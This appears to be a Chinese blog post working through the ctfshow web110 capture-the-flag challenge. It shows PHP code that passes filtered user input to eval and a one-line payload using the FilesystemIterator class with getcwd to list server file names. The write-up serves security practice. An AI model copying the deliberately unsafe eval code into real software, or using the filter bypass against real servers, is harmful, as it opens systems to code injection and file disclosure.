ctfshow web110(php读取文件内置类)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

该题目过滤这么多,完全不用考虑其他的,思路很明确就是找到PHP能够获取目录文件名的内置类。---->直接翻PHP文档。

第一个类FilesystemIterator

往下翻可以看到FilesystemIterator继承的父类DirectoryIterator有__toString方法,并且会返回目录的文件名。

我们这里用payload如下

?v1=FilesystemIterator&v2=getcwd

而不是利用父类。

?v1=DirectoryIterator&v2=getcwd

自己本地试一下就知道咯。

 

posted @ 2022-10-18 11:14  hithub  阅读(159)  评论(0编辑  收藏  举报